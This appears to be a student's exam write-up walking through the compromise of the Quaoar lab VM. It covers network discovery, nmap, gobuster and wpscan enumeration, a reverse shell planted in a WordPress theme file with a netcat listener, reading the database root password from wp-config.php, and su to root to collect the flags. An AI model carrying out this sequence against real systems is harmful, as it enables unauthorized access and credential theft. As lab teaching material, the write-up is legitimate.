# Cyber security exam module 5

#### Task 1:

To find the ip address we use the command: arp-scan -I

```
[/home/kali]
Interface: eth0, type: EN10MB, MAC: 08:00:27:9c:c4:e3, IPv4: 192.168.20.155
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
                                               (Unknown: locally administered)
192.168.20.7 72:92:6f:91:e3:56
                 6c:02:e0:80:ab:56
                                               HP Inc.
192.168.20.14
192.168.20.16
                  36:7d:f0:f1:e7:bc
                                               (Unknown: locally administered)
                                                Hon Hai Precision Ind. Co., Ltd.
                   5c:ea:1d:91:00:21
192.168.20.18
                 7c:70:db:0d:88:a1
192.168.20.30
                                                Intel Corporate
```

Our desired ip address is

```
192.168.20.228 60:f6:77:6e:4b:14 Intel Corporate
192.168.20.231 fc:01:7c:02:3b:27 Hon Hai Precision Ind. Co.,Ltd.
192.168.20.232 a0:d3:7a:ef:65:c3 Intel Corporate
192.168.20.239 08:00:27:14:56:71 PCS Systemtechnik GmbH
192.168.20.236 18:47:3d:4c:e6:f7 CHONGQING FUGUI ELECTRONICS CO.,LTD.
192.168.20.237 b8:08:cf:e3:6a:0c Intel Corporate
192.168.20.243 d4:1b:81:38:e6:e7 CHONGQING FUGUI ELECTRONICS CO.,LTD.
192.168.20.245 c0:3c:59:4a:3d:e6 Intel Corporate
192.168.20.252 a0:78:17:a6:76:69 Apple, Inc.
```

#### Task 2:

To discover the ports we use the command: nmap 192.168.20.239

```
ot@kali)-[/home/kali]
   nmap 192.168.20.239
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-21 04:22 EST
Nmap scan report for 192.168.20.239
Host is up (0.00025s latency).
Not shown: 991 closed tcp ports (reset)
     STATE SERVICE
PORT
22/tcp open ssh
53/tcp open domain
80/tcp open http
110/tcp open pop3
139/tcp open netbios-ssn
143/tcp open imap
445/tcp open microsoft-ds
993/tcp open imaps
995/tcp open pop3s
MAC Address: 08:00:27:14:56:71 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds
```

9 ports are discovered.

#### Task 3:

To find the interesting directory we use the following command: **gobuster dir -u** 192.168.20.239 -w /usr/share/wordlists/dirb/common.txt

```
)-[/home/kali]
     gobuster dir -u 192.168.20.239 -w /usr/share/wordlists/dirb/common.txt
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:
[+] Method:
                                          http://192.168.20.239
[+] Threads:
                                          10
[+] Wordlist:
                                          /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent:
                                          gobuster/3.3
[+] Timeout:
                                          10s
2022/12/21 04:48:41 Starting gobuster in directory enumeration mode
                            (Status: 403) [Size: 291]
(Status: 403) [Size: 291]
(Status: 403) [Size: 286]
(Status: 403) [Size: 290]
(Status: 200) [Size: 100]
(Status: 200) [Size: 100]
(Status: 200) [Size: 1672]
(Status: 200) [Size: 616848]
(Status: 200) [Size: 271]
/.htpasswd
/.htaccess
/.hta
/cgi-bin/
/index
/index.html
/LICENSE
/hacking
/robots
                             (Status: 200) [Size: 271]
(Status: 200) [Size: 271]
(Status: 403) [Size: 295]
(Status: 301) [Size: 317]
/robots.txt
/robots.txt
/server-status
/upload
                      (Status: 301) [Size: 320]
/ 4615 (99.98%)
/wordpress
```

Our desired Directory is: wordpress

#### Task 4:

To find the username we use the following command: wpscan --url <a href="http://192.168.20.239">http://192.168.20.239</a> -e

We find the following information:

```
[+] admin
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] wpuser
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
```

#### Task 5:

The reverse shell is uploaded to the header.php and modified.

# **Edit Themes**

File edited successfully.

Twenty Fourteen: Header (header.php)

Task 6:

The reverse shell is updated to TTY shell

```
(root@kali)-[/home/kali]
| nc -nlvp 9001
listening on [any] 9001 ...
```

## Task 7:

The first flag is: 2bafe61f03117ac66a73c3c514de796e

```
locate flag.txt
/home/wpadmin/flag.txt
www-data@Quaoar:/$ cd /home/wpadmin/flag.txt
cd /home/wpadmin/flag.txt
bash: cd: /home/wpadmin/flag.txt: Not a directory
www-data@Quaoar:/$ cd /home/wpadmin
cd /home/wpadmin
www-data@Quaoar:/home/wpadmin$ ls
ls
flag.txt
www-data@Quaoar:/home/wpadmin$ cat flag.txt
cat flag.txt
2bafe61f03117ac66a73c3c514de796e
www-data@Quaoar:/home/wpadmin$
```

#### Task 8:

The root password is in a config file. We need to find the config file first.

```
www-data@Quaoar:/sbin$ locate wp-config
locate wp-config
/var/www/wordpress/wp-config-sample.php
/var/www/wordpress/wp-config.php
www-data@Quaoar:/sbin$ cd /var/www/wordpress
cd /var/www/wordpress
www-data@Quaoar:/var/www/wordpress$ cat wp-config.php
cat wp-config.php
<?php
/**
 * The base configurations of the WordPress.
 *
 * This file has the following configurations: MySQL settings, Ta</pre>
```

```
www-data@Quaoar:/var/www/wordpress$ locate wp-config
locate wp-config
/var/www/wordpress/wp-config-sample.php
/var/www/wordpress/wp-config.php
www-data@Quaoar:/var/www/wordpress$ cat wp-config.php | grep root
cat wp-config.php | grep root
define('DB_USER', 'root');
define('DB_PASSWORD', 'rootpassword!');
www-data@Quaoar:/var/www/wordpress$
```

### Task 9:

By providing the password: rootpassword!; we get the root access.

```
www-data@Quaoar:/var/www/wordpress$ su
su
Password: rootpassword!
root@Quaoar:/var/www/wordpress#
```

```
root@Quaoar:/var/www/wordpress# cd /root
cd /root
root@Quaoar:~# ls
ls
flag.txt vmware-tools-distrib
root@Quaoar:~# cat flag.txt
cat flag.txt
8e3f9ec016e3598c5eec11fd3d73f6fb
root@Quaoar:~#
```